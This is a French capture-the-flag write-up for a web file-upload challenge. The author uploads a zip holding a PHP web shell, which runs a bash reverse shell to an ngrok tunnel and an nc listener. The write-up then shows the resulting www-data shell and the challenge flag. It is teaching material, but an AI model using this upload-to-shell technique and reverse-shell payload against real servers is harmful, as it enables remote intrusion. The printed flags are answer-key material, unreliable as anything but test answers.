File Upload (Medium)
Consignes
Le flag se trouve à€ la racine !
Réalisation
Ce challenge nous demande de lui envoyer un fichier zip.
Pour se faire, créer un dossier /test
dans lequel on met un fichier nommé NotAFlag.txt
avec le contenu suivant :
3700{00p5_175_n07_4_fl46}
On zip ensuite ce dossier :
$ zip text.zip test
adding: test/ (stored 0%)
$ ls
test text.zip
Une fois le dossier en .zip
, on l'upload sur le site :

On observe que le site unzip notre dossier et extrait le contenu dans le répertoire /tmp/upload/
.
On accède au lien donné par le site, cependant, il ne prends en compte uniquement le dossier présent dans le .zip
mais pas son contenu.
On fais donc un nouveau zip avec cette fois-ci uniquement le fichier NotAFlag.txt
à l'intérieur :
$ zip text.zip NotAFlag.txt
adding: NotAFlag.txt (stored 0%)
$ ls
NotAFlag.txt text.zip
On fourni donc le nouveau dossier .zip
au site WEB :

On accède ensuite au lien fourni par le serveur. Ce dernier à bien pris en compte notre fichier que nous pouvons consulter :

On a maintenant réaliser un reverse shell.
Pour se faire, lancer dans un terminal ngrok sur le port 4444
:
$ ngrok tcp 4444
ngrok (Ctrl+C to quit)
đŸ«¶ Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss
Session Status online
Account xxxxxxxxxxx@gmail.com (Plan: Free)
Update update available (version 3.22.1, Ctrl-U to update)
Version 3.21.0
Region Europe (eu)
Latency 23ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://7.tcp.eu.ngrok.io:16675 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
0 1 0.00 0.00 0.00 0.00
Lancer dans un second terminal netcat en Ă©coute sur mĂªme port que ngrok (ici, 4444
) :
$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
On réalise maintenant un fichier shell.php
Ă l'aide de l'adresse et du port fourni par ngrok :
<?php
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/16675 0>&1'");
?>
On créer le dossier payload.zip
en y incluant notre fichier shell.php
:
$ zip payload.zip shell.php
adding: shell.php (deflated 5%)
$ ls
payload.zip shell.php
On ajoute ensuite le dossier payload.zip
sur le site WEB :

On accède au lien fourni par le site web et cliquons sur notre fichier shell.php
:

Une fois le fichier shell.php
sélectionné, une connexion est bien établie avec notre netcat :
$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:37324.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@63d3c3d41b84:/var/www/html/tmp/upload/681dac56ec2b65.29298432$
On se rend donc Ă la racine de la machine comme nous indique les consignes du challenge pour y trouver le FLAG :
www-data@63d3c3d41b84:/var/www/html/tmp/upload/681dac56ec2b65.29298432$ cd /
www-data@63d3c3d41b84:/$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www-data@63d3c3d41b84:/$ cat flag.txt
2600{0dcO5lTnQZrpX4BKGcjClQ}
On obtient donc le FLAG :
2600{0dcO5lTnQZrpX4BKGcjClQ}
Last updated